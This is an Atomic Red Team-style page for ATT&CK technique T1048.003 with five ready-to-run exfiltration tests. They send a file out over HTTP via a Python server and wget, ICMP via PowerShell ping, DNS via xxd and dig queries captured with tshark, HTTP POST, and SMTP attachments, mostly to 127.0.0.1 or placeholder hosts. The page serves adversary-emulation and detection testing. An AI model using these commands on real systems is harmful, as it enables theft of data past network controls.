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T1048.003 - Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

Description from ATT&CK

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.

Atomic Tests


Atomic Test #1 - Exfiltration Over Alternative Protocol - HTTP

A firewall rule (iptables or firewalld) will be needed to allow exfiltration on port 1337.

Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded.

Supported Platforms: macOS, Linux

Run it with these steps!

  1. Victim System Configuration:

    mkdir /tmp/victim-staging-area echo "this file will be exfiltrated" > /tmp/victim-staging-area/victim-file.txt

  2. Using Python to establish a one-line HTTP server on victim system:

    cd /tmp/victim-staging-area python -m SimpleHTTPServer 1337

  3. To retrieve the data from an adversary system:

    wget http://VICTIM_IP:1337/victim-file.txt



Atomic Test #2 - Exfiltration Over Alternative Protocol - ICMP

Exfiltration of specified file over ICMP protocol.

Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
input_file Path to file to be exfiltrated. Path C:\Windows\System32\notepad.exe
ip_address Destination IP address where the data should be sent. String 127.0.0.1

Attack Commands: Run with powershell!

$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }


Atomic Test #3 - Exfiltration Over Alternative Protocol - DNS

Exfiltration of specified file over DNS protocol.

Supported Platforms: Linux

Run it with these steps!

  1. On the adversary machine run the below command.

    tshark -f "udp port 53" -Y "dns.qry.type == 1 and dns.flags.response == 0 and dns.qry.name matches ".domain"" >> received_data.txt

  2. On the victim machine run the below commands.

    xxd -p input_file > encoded_data.hex | for data in cat encoded_data.hex; do dig $data.domain; done

  3. Once the data is received, use the below command to recover the data.

    cat output_file | cut -d "A" -f 2 | cut -d " " -f 2 | cut -d "." -f 1 | sort | uniq | xxd -p -r



Atomic Test #4 - Exfiltration Over Alternative Protocol - HTTP

Exfiltration of specified file over HTTP. Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
input_file Path to file to exfiltrate Path C:\Windows\System32\notepad.exe
ip_address Destination IP address where the data should be sent String http://127.0.0.1

Attack Commands: Run with powershell!

$content = Get-Content #{input_file}
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content


Atomic Test #5 - Exfiltration Over Alternative Protocol - SMTP

Exfiltration of specified file over SMTP. Upon successful execution, powershell will send an email with attached file to exfiltrateto a remote address. Results will be via stdout.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
input_file Path to file to exfiltrate Path C:\Windows\System32\notepad.exe
sender The email address of the sender String test@corp.com
receiver The email address of the receiver String test@corp.com
smtp_server SMTP server to use for email transportation String 127.0.0.1

Attack Commands: Run with powershell!

Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}